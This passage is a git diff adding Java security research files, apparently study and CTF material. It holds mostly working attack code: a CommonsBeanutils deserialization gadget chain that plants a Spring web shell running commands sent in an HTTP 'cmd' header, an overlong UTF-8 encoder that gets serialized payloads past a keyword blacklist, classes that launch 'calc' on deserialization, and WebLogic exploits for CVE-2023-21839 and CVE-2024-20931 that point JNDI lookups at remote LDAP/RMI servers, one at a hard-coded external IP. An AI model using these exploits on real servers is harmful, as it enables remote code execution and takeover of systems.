"b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/timu/2022 351円271円217円345円237円216円346円235円257円 ez_java/EXP/Memshell.java" @@ -0,0 +1,70 @@ +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; +import javassist.ClassPool; +import org.apache.commons.beanutils.BeanComparator; + +import java.io.*; +import java.lang.reflect.Field; +import java.security.KeyPair; +import java.security.KeyPairGenerator; +import java.security.Signature; +import java.security.SignedObject; +import java.util.Base64; +import java.util.PriorityQueue; + +public class Memshell { + public static void setFieldValue(Object obj,String fieldname,Object value)throws Exception{ + Field field = obj.getClass().getDeclaredField(fieldname); + field.setAccessible(true); + field.set(obj,value); + } + + public static void main(String[] args) throws Exception { + + TemplatesImpl obj = new TemplatesImpl(); + setFieldValue(obj, "_bytecodes", new byte[][]{ClassPool.getDefault().get(SpringEcho.class.getName()).toBytecode()}); + setFieldValue(obj, "_name", "a"); + setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); + + PriorityQueue queue1 = getpayload(obj, "outputProperties"); + + KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA"); + kpg.initialize(1024); + KeyPair kp = kpg.generateKeyPair(); + SignedObject signedObject = new SignedObject(queue1, kp.getPrivate(), Signature.getInstance("DSA")); + + PriorityQueue queue2 = getpayload(signedObject, "object"); + + //序列化 + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + ObjectOutputStream oos = new ObjectOutputStream(baos); + oos.writeObject(queue2); + oos.close(); + System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray()))); + // serialize(queue2); +// +// //反序列化 + // deserialize("ser.bin"); + } + + public static PriorityQueue getpayload(Object object, String string) throws Exception { + BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); + PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator); + priorityQueue.add("1"); + priorityQueue.add("2"); + setFieldValue(beanComparator, "property", string); + setFieldValue(priorityQueue, "queue", new Object[]{object, null}); + return priorityQueue; + } + + public static void serialize(Object obj) throws IOException { + ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); + oos.writeObject(obj); + } + + public static Object deserialize(String Filename) throws IOException, ClassNotFoundException { + ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); + Object obj = ois.readObject(); + return obj; + } +} \ No newline at end of file diff --git "a/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/timu/2022 351円271円217円345円237円216円346円235円257円 ez_java/EXP/SpringEcho.java" "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/timu/2022 351円271円217円345円237円216円346円235円257円 ez_java/EXP/SpringEcho.java" new file mode 100644 index 00000000..7b76f24d --- /dev/null +++ "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/timu/2022 351円271円217円345円237円216円346円235円257円 ez_java/EXP/SpringEcho.java" @@ -0,0 +1,45 @@ +import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; + +import java.io.Serializable; +import java.lang.reflect.Method; +import java.util.Scanner; + +public class SpringEcho extends AbstractTranslet implements Serializable { + public SpringEcho() throws Exception{ + Class c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder"); + Method m = c.getMethod("getRequestAttributes"); + Object o = m.invoke(null); + c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes"); + m = c.getMethod("getResponse"); + Method m1 = c.getMethod("getRequest"); + Object resp = m.invoke(o); + Object req = m1.invoke(o); // HttpServletRequest + Method getWriter = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter"); + Method getHeader = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader",String.class); + getHeader.setAccessible(true); + getWriter.setAccessible(true); + Object writer = getWriter.invoke(resp); + String cmd = (String)getHeader.invoke(req, "cmd"); + String[] commands = new String[3]; + String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK":"UTF-8"; + if (System.getProperty("os.name").toUpperCase().contains("WIN")) { + commands[0] = "cmd"; + commands[1] = "/c"; + } else { + commands[0] = "/bin/sh"; + commands[1] = "-c"; + } + commands[2] = cmd; + writer.getClass().getDeclaredMethod("println", String.class).invoke(writer, new Scanner(Runtime.getRuntime().exec(commands).getInputStream(),charsetName).useDelimiter("\\A").next()); + writer.getClass().getDeclaredMethod("flush").invoke(writer); + writer.getClass().getDeclaredMethod("close").invoke(writer); + } + + @Override + public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws com.sun.org.apache.xalan.internal.xsltc.TransletException { + } + @Override + public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) throws com.sun.org.apache.xalan.internal.xsltc.TransletException { + + } +} \ No newline at end of file diff --git "a/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/timu/2022 351円271円217円345円237円216円346円235円257円 ez_java/Ez_Java.jar" "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/timu/2022 351円271円217円345円237円216円346円235円257円 ez_java/Ez_Java.jar" new file mode 100644 index 00000000..36cb4773 Binary files /dev/null and "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/timu/2022 351円271円217円345円237円216円346円235円257円 ez_java/Ez_Java.jar" differ diff --git "a/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/.gitignore" "b/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/.gitignore" new file mode 100644 index 00000000..5ff6309b --- /dev/null +++ "b/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/.gitignore" @@ -0,0 +1,38 @@ +target/ +!.mvn/wrapper/maven-wrapper.jar +!**/src/main/**/target/ +!**/src/test/**/target/ + +### IntelliJ IDEA ### +.idea/modules.xml +.idea/jarRepositories.xml +.idea/compiler.xml +.idea/libraries/ +*.iws +*.iml +*.ipr + +### Eclipse ### +.apt_generated +.classpath +.factorypath +.project +.settings +.springBeans +.sts4-cache + +### NetBeans ### +/nbproject/private/ +/nbbuild/ +/dist/ +/nbdist/ +/.nb-gradle/ +build/ +!**/src/main/**/build/ +!**/src/test/**/build/ + +### VS Code ### +.vscode/ + +### Mac OS ### +.DS_Store \ No newline at end of file diff --git "a/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/pom.xml" "b/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/pom.xml" new file mode 100644 index 00000000..4ee585be --- /dev/null +++ "b/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/pom.xml" @@ -0,0 +1,21 @@ + + 4.0.0 + org.example + UTF8Deserialize + 1.0-SNAPSHOT + Archetype - UTF8Deserialize + http://maven.apache.org + + + + org.apache.maven.plugins + maven-compiler-plugin + + 8 + 8 + + + + + diff --git "a/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/ser.bin" "b/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/ser.bin" new file mode 100644 index 00000000..3c0d7fb1 Binary files /dev/null and "b/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/ser.bin" differ diff --git "a/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/src/main/java/BypassTest.java" "b/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/src/main/java/BypassTest.java" new file mode 100644 index 00000000..ea7e257d --- /dev/null +++ "b/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/src/main/java/BypassTest.java" @@ -0,0 +1,55 @@ +import org.example.CustomObjectOutputStream; +import org.example.Evil; + +import java.io.*; +import java.util.Base64; + +public class BypassTest { + public static void main(String[] args) throws Exception { + + Evil evil = new Evil(); + String serializedString = serialize(evil); + deserialize(serializedString); + } + + static boolean protect(String serializedString) { + String blacklist = "Evil"; + if (serializedString.contains(blacklist)) { + return false; + } + return true; + } + + + static String serialize(Object obj) throws IOException { + + ObjectOutputStream oos2 = new CustomObjectOutputStream(new FileOutputStream("ser.bin")); + oos2.writeObject(obj); + + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + ObjectOutputStream oos = new CustomObjectOutputStream(baos); + oos.writeObject(obj); + oos.close(); + return new String(Base64.getEncoder().encode(baos.toByteArray())); + } + + + static void deserialize(String serializedString) throws Exception { + + byte[] decodedBytes = Base64.getDecoder().decode(serializedString); + String str1 = new String(decodedBytes); // 使用默认字符集构造字符串 + System.out.println("String from byteArray: " + str1); + if (!protect(str1)) { + System.out.println("黑名单"); + return; + } + + ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decodedBytes); + ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); + + Object object = objectInputStream.readObject(); + System.out.println("反序列化成功:" + object); + + } + +} diff --git "a/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/src/main/java/DeserializeTest.java" "b/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/src/main/java/DeserializeTest.java" new file mode 100644 index 00000000..3c01c7bf --- /dev/null +++ "b/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/src/main/java/DeserializeTest.java" @@ -0,0 +1,24 @@ +import org.example.Evil; + +import java.io.*; + +public class DeserializeTest { + + public static void main(String[] args) throws Exception { + Evil evil = new Evil(); + // serialize(evil); + deserialize("ser.bin"); + } + + static void serialize(Object obj) throws IOException { + ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); + oos.writeObject(obj); + } + + static Object deserialize(String Filename) throws IOException, ClassNotFoundException { + ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); + Object obj = ois.readObject(); + return obj; + } + +} \ No newline at end of file diff --git "a/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/src/main/java/TestByte.java" "b/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/src/main/java/TestByte.java" new file mode 100644 index 00000000..f2785fbd --- /dev/null +++ "b/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/src/main/java/TestByte.java" @@ -0,0 +1,13 @@ +public class TestByte { + public static void main(String[] args) { + int b1 = 0xc1; // 1100 0001 + int b2 = 0xaf; // 1010 1111 + int i = ((b1 & 0x1F) << 6) | (b2 & 0x3F << 0); + System.out.println(i); + System.out.println((char) i); + String hex1 = Integer.toHexString(i); + System.out.println(hex1); + String hex2 = Integer.toHexString(i & 0xFF); + System.out.println(hex2); + } +} diff --git "a/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/src/main/java/org/example/CustomObjectOutputStream.java" "b/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/src/main/java/org/example/CustomObjectOutputStream.java" new file mode 100644 index 00000000..998bb57c --- /dev/null +++ "b/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/src/main/java/org/example/CustomObjectOutputStream.java" @@ -0,0 +1,140 @@ +package org.example; + +import java.io.*; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.HashMap; + +public class CustomObjectOutputStream extends ObjectOutputStream { + + private static HashMap map; + static { + map = new HashMap(); + map.put('.', new int[]{0xc0, 0xae}); + map.put(';', new int[]{0xc0, 0xbb}); + map.put('$', new int[]{0xc0, 0xa4}); + map.put('[', new int[]{0xc1, 0x9b}); + map.put(']', new int[]{0xc1, 0x9d}); + map.put('a', new int[]{0xc1, 0xa1}); + map.put('b', new int[]{0xc1, 0xa2}); + map.put('c', new int[]{0xc1, 0xa3}); + map.put('d', new int[]{0xc1, 0xa4}); + map.put('e', new int[]{0xc1, 0xa5}); + map.put('f', new int[]{0xc1, 0xa6}); + map.put('g', new int[]{0xc1, 0xa7}); + map.put('h', new int[]{0xc1, 0xa8}); + map.put('i', new int[]{0xc1, 0xa9}); + map.put('j', new int[]{0xc1, 0xaa}); + map.put('k', new int[]{0xc1, 0xab}); + map.put('l', new int[]{0xc1, 0xac}); + map.put('m', new int[]{0xc1, 0xad}); + map.put('n', new int[]{0xc1, 0xae}); + map.put('o', new int[]{0xc1, 0xaf}); // 0x6f + map.put('p', new int[]{0xc1, 0xb0}); + map.put('q', new int[]{0xc1, 0xb1}); + map.put('r', new int[]{0xc1, 0xb2}); + map.put('s', new int[]{0xc1, 0xb3}); + map.put('t', new int[]{0xc1, 0xb4}); + map.put('u', new int[]{0xc1, 0xb5}); + map.put('v', new int[]{0xc1, 0xb6}); + map.put('w', new int[]{0xc1, 0xb7}); + map.put('x', new int[]{0xc1, 0xb8}); + map.put('y', new int[]{0xc1, 0xb9}); + map.put('z', new int[]{0xc1, 0xba}); + map.put('A', new int[]{0xc1, 0x81}); + map.put('B', new int[]{0xc1, 0x82}); + map.put('C', new int[]{0xc1, 0x83}); + map.put('D', new int[]{0xc1, 0x84}); + map.put('E', new int[]{0xc1, 0x85}); + map.put('F', new int[]{0xc1, 0x86}); + map.put('G', new int[]{0xc1, 0x87}); + map.put('H', new int[]{0xc1, 0x88}); + map.put('I', new int[]{0xc1, 0x89}); + map.put('J', new int[]{0xc1, 0x8a}); + map.put('K', new int[]{0xc1, 0x8b}); + map.put('L', new int[]{0xc1, 0x8c}); + map.put('M', new int[]{0xc1, 0x8d}); + map.put('N', new int[]{0xc1, 0x8e}); + map.put('O', new int[]{0xc1, 0x8f}); + map.put('P', new int[]{0xc1, 0x90}); + map.put('Q', new int[]{0xc1, 0x91}); + map.put('R', new int[]{0xc1, 0x92}); + map.put('S', new int[]{0xc1, 0x93}); + map.put('T', new int[]{0xc1, 0x94}); + map.put('U', new int[]{0xc1, 0x95}); + map.put('V', new int[]{0xc1, 0x96}); + map.put('W', new int[]{0xc1, 0x97}); + map.put('X', new int[]{0xc1, 0x98}); + map.put('Y', new int[]{0xc1, 0x99}); + map.put('Z', new int[]{0xc1, 0x9a}); + } + public CustomObjectOutputStream(OutputStream out) throws IOException { + super(out); + } + + @Override + protected void writeClassDescriptor(ObjectStreamClass desc) throws IOException { + String name = desc.getName(); +// writeUTF(desc.getName()); + writeShort(name.length() * 2); + for (int i = 0; i < name.length(); i++) { + char s = name.charAt(i); +// System.out.println(s); + write(map.get(s)[0]); + write(map.get(s)[1]); + } + writeLong(desc.getSerialVersionUID()); + try { + byte flags = 0; + if ((boolean)getFieldValue(desc,"externalizable")) { + flags |= ObjectStreamConstants.SC_EXTERNALIZABLE; + Field protocolField = ObjectOutputStream.class.getDeclaredField("protocol"); + protocolField.setAccessible(true); + int protocol = (int) protocolField.get(this); + if (protocol != ObjectStreamConstants.PROTOCOL_VERSION_1) { + flags |= ObjectStreamConstants.SC_BLOCK_DATA; + } + } else if ((boolean)getFieldValue(desc,"serializable")){ + flags |= ObjectStreamConstants.SC_SERIALIZABLE; + } + if ((boolean)getFieldValue(desc,"hasWriteObjectData")) { + flags |= ObjectStreamConstants.SC_WRITE_METHOD; + } + if ((boolean)getFieldValue(desc,"isEnum") ) { + flags |= ObjectStreamConstants.SC_ENUM; + } + writeByte(flags); + ObjectStreamField[] fields = (ObjectStreamField[]) getFieldValue(desc,"fields"); + writeShort(fields.length); + for (int i = 0; i < fields.length; i++) { + ObjectStreamField f = fields[i]; + writeByte(f.getTypeCode()); + writeUTF(f.getName()); + if (!f.isPrimitive()) { + Method writeTypeString = ObjectOutputStream.class.getDeclaredMethod("writeTypeString",String.class); + writeTypeString.setAccessible(true); + writeTypeString.invoke(this,f.getTypeString()); +// writeTypeString(f.getTypeString()); + } + } + } catch (NoSuchFieldException e) { + throw new RuntimeException(e); + } catch (IllegalAccessException e) { + throw new RuntimeException(e); + } catch (NoSuchMethodException e) { + throw new RuntimeException(e); + } catch (InvocationTargetException e) { + throw new RuntimeException(e); + } + } + + public static Object getFieldValue(Object object, String fieldName) throws NoSuchFieldException, IllegalAccessException { + Class clazz = object.getClass(); + Field field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + Object value = field.get(object); + + return value; + } +} \ No newline at end of file diff --git "a/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/src/main/java/org/example/Evil.java" "b/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/src/main/java/org/example/Evil.java" new file mode 100644 index 00000000..f641de41 --- /dev/null +++ "b/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/src/main/java/org/example/Evil.java" @@ -0,0 +1,12 @@ +package org.example; + +import java.io.IOException; +import java.io.Serializable; + +public class Evil implements Serializable { + private void writeObject(java.io.ObjectOutputStream s)throws java.io.IOException { + } + private void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundException { + Runtime.getRuntime().exec("Calc"); + } +} diff --git "a/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/src/main/resources/META-INF/maven/archetype.xml" "b/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/src/main/resources/META-INF/maven/archetype.xml" new file mode 100644 index 00000000..145a57f0 --- /dev/null +++ "b/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/src/main/resources/META-INF/maven/archetype.xml" @@ -0,0 +1,9 @@ + + UTF8Deserialize + + src/main/java/App.java + + + src/test/java/AppTest.java + + diff --git "a/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/src/main/resources/archetype-resources/pom.xml" "b/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/src/main/resources/archetype-resources/pom.xml" new file mode 100644 index 00000000..19d0b2b8 --- /dev/null +++ "b/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/src/main/resources/archetype-resources/pom.xml" @@ -0,0 +1,15 @@ + + 4.0.0 + $org.example + $UTF8Deserialize + 1ドル.0-SNAPSHOT + + + junit + junit + 3.8.1 + test + + + diff --git "a/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/src/main/resources/archetype-resources/src/main/java/App.java" "b/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/src/main/resources/archetype-resources/src/main/java/App.java" new file mode 100644 index 00000000..1fa6a956 --- /dev/null +++ "b/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/src/main/resources/archetype-resources/src/main/java/App.java" @@ -0,0 +1,13 @@ +package $org.example; + +/** + * Hello world! + * + */ +public class App +{ + public static void main( String[] args ) + { + System.out.println( "Hello World!" ); + } +} diff --git "a/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/src/main/resources/archetype-resources/src/test/java/AppTest.java" "b/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/src/main/resources/archetype-resources/src/test/java/AppTest.java" new file mode 100644 index 00000000..65be417e --- /dev/null +++ "b/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/src/main/resources/archetype-resources/src/test/java/AppTest.java" @@ -0,0 +1,38 @@ +package $org.example; + +import junit.framework.Test; +import junit.framework.TestCase; +import junit.framework.TestSuite; + +/** + * Unit test for simple App. + */ +public class AppTest + extends TestCase +{ + /** + * Create the test case + * + * @param testName name of the test case + */ + public AppTest( String testName ) + { + super( testName ); + } + + /** + * @return the suite of tests being tested + */ + public static Test suite() + { + return new TestSuite( AppTest.class ); + } + + /** + * Rigourous Test :-) + */ + public void testApp() + { + assertTrue( true ); + } +} diff --git "a/JavaSecurity/Trick/351円200円232円347円224円250円345円233円236円346円230円276円344円273円243円347円240円201円/Evil.java" "b/JavaSecurity/Trick/351円200円232円347円224円250円345円233円236円346円230円276円344円273円243円347円240円201円/Evil.java" new file mode 100644 index 00000000..6db03202 --- /dev/null +++ "b/JavaSecurity/Trick/351円200円232円347円224円250円345円233円236円346円230円276円344円273円243円347円240円201円/Evil.java" @@ -0,0 +1,28 @@ +import com.sun.org.apache.xalan.internal.xsltc.DOM; +import com.sun.org.apache.xalan.internal.xsltc.TransletException; +import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; +import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; +import com.sun.org.apache.xml.internal.serializer.SerializationHandler; + +import java.io.IOException; + +// 弹计算器的万能类 +public class Evil extends AbstractTranslet { + static { + try { + Runtime.getRuntime().exec("calc"); + } catch (IOException e){ + e.printStackTrace(); + } + } + + @Override + public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { + + } + + @Override + public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { + + } +} \ No newline at end of file diff --git "a/JavaSecurity/Trick/351円200円232円347円224円250円345円233円236円346円230円276円344円273円243円347円240円201円/SpringEcho.java" "b/JavaSecurity/Trick/351円200円232円347円224円250円345円233円236円346円230円276円344円273円243円347円240円201円/SpringEcho.java" new file mode 100644 index 00000000..7b76f24d --- /dev/null +++ "b/JavaSecurity/Trick/351円200円232円347円224円250円345円233円236円346円230円276円344円273円243円347円240円201円/SpringEcho.java" @@ -0,0 +1,45 @@ +import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; + +import java.io.Serializable; +import java.lang.reflect.Method; +import java.util.Scanner; + +public class SpringEcho extends AbstractTranslet implements Serializable { + public SpringEcho() throws Exception{ + Class c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder"); + Method m = c.getMethod("getRequestAttributes"); + Object o = m.invoke(null); + c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes"); + m = c.getMethod("getResponse"); + Method m1 = c.getMethod("getRequest"); + Object resp = m.invoke(o); + Object req = m1.invoke(o); // HttpServletRequest + Method getWriter = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter"); + Method getHeader = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader",String.class); + getHeader.setAccessible(true); + getWriter.setAccessible(true); + Object writer = getWriter.invoke(resp); + String cmd = (String)getHeader.invoke(req, "cmd"); + String[] commands = new String[3]; + String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK":"UTF-8"; + if (System.getProperty("os.name").toUpperCase().contains("WIN")) { + commands[0] = "cmd"; + commands[1] = "/c"; + } else { + commands[0] = "/bin/sh"; + commands[1] = "-c"; + } + commands[2] = cmd; + writer.getClass().getDeclaredMethod("println", String.class).invoke(writer, new Scanner(Runtime.getRuntime().exec(commands).getInputStream(),charsetName).useDelimiter("\\A").next()); + writer.getClass().getDeclaredMethod("flush").invoke(writer); + writer.getClass().getDeclaredMethod("close").invoke(writer); + } + + @Override + public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws com.sun.org.apache.xalan.internal.xsltc.TransletException { + } + @Override + public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) throws com.sun.org.apache.xalan.internal.xsltc.TransletException { + + } +} \ No newline at end of file diff --git a/JavaSecurity/Weblogic/CVE-2023-21839/CVE_2023_21839.java b/JavaSecurity/Weblogic/CVE-2023-21839/CVE_2023_21839.java new file mode 100644 index 00000000..27fa5e5f --- /dev/null +++ b/JavaSecurity/Weblogic/CVE-2023-21839/CVE_2023_21839.java @@ -0,0 +1,43 @@ +import javax.naming.Context; +import javax.naming.InitialContext; +import javax.naming.NamingException; +import java.lang.reflect.Field; +import java.util.Hashtable; +import java.util.Random; + +public class CVE_2023_21839 { + static String JNDI_FACTORY="weblogic.jndi.WLInitialContextFactory"; + static String HOW_TO_USE="[*]exploit start"; + + private static InitialContext getInitialContext(String url)throws NamingException + { + Hashtable env = new Hashtable(); + env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY); + env.put(Context.PROVIDER_URL, url); + return new InitialContext(env); + } + public static void main(String args[]) throws Exception { + if(args.length <2){ + System.out.println(HOW_TO_USE); + System.exit(0); + } + String t3Url = "localhost:7001"; + String ldapUrl = "ldap://124.222.21.138:1389/Basic/Command/base64/aWQgPiBDYWxj"; + InitialContext c=getInitialContext("t3://"+t3Url); + Hashtable env = new Hashtable(); + env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory"); + weblogic.deployment.jms.ForeignOpaqueReference f=new weblogic.deployment.jms.ForeignOpaqueReference(); + Field jndiEnvironment=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment"); + jndiEnvironment.setAccessible(true); + jndiEnvironment.set(f,env); + Field remoteJNDIName=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName"); + remoteJNDIName.setAccessible(true); + remoteJNDIName.set(f,ldapUrl); + String bindName = new Random(System.currentTimeMillis()).nextLong()+""; + try{ + c.bind(bindName,f); + c.lookup(bindName); + }catch(Exception e){ } + + } +} \ No newline at end of file diff --git a/JavaSecurity/Weblogic/CVE-2024-20931/exp.java b/JavaSecurity/Weblogic/CVE-2024-20931/exp.java new file mode 100644 index 00000000..e9808f93 --- /dev/null +++ b/JavaSecurity/Weblogic/CVE-2024-20931/exp.java @@ -0,0 +1,45 @@ +package com.supeream; + +import weblogic.deployment.jms.ForeignOpaqueReference; + +import javax.naming.Context; +import javax.naming.InitialContext; +import java.lang.reflect.Field; +import java.util.Hashtable; + +public class CVE_2024_209321 { + public static void main(String[] args) throws Exception { + String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory"; + + // 创建用来远程绑定对象的InitialContext + String url = "t3://127.0.0.1:7001"; // 目标机器 + Hashtable env1 = new Hashtable(); + env1.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY); + env1.put(Context.PROVIDER_URL, url); // 目标 + InitialContext c = new InitialContext(env1); + + // ForeignOpaqueReference的jndiEnvironment属性 + Hashtable env2 = new Hashtable(); + env2.put("java.naming.factory.initial", "oracle.jms.AQjmsInitialContextFactory"); + env2.put("datasource", "rmi://127.0.0.1:1099/ygevmj"); + + // ForeignOpaqueReference的jndiEnvironment和remoteJNDIName属性 + ForeignOpaqueReference f = new ForeignOpaqueReference(); + Field jndiEnvironment = ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment"); + jndiEnvironment.setAccessible(true); + jndiEnvironment.set(f, env2); + Field remoteJNDIName = ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName"); + remoteJNDIName.setAccessible(true); + String ldap = "rmi://127.0.0.1:1099/ygevmj"; + remoteJNDIName.set(f, ldap); + + // 远程绑定ForeignOpaqueReference对象 + c.rebind("glassy", f); + + // lookup查询ForeignOpaqueReference对象 + try { + c.lookup("glassy"); + } catch (Exception e) { + } + } +} \ No newline at end of file diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/.gitignore" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/.gitignore" new file mode 100644 index 00000000..5ff6309b --- /dev/null +++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/.gitignore" @@ -0,0 +1,38 @@ +target/ +!.mvn/wrapper/maven-wrapper.jar +!**/src/main/**/target/ +!**/src/test/**/target/ + +### IntelliJ IDEA ### +.idea/modules.xml +.idea/jarRepositories.xml +.idea/compiler.xml +.idea/libraries/ +*.iws +*.iml +*.ipr + +### Eclipse ### +.apt_generated +.classpath +.factorypath +.project +.settings +.springBeans +.sts4-cache + +### NetBeans ### +/nbproject/private/ +/nbbuild/ +/dist/ +/nbdist/ +/.nb-gradle/ +build/ +!**/src/main/**/build/ +!**/src/test/**/build/ + +### 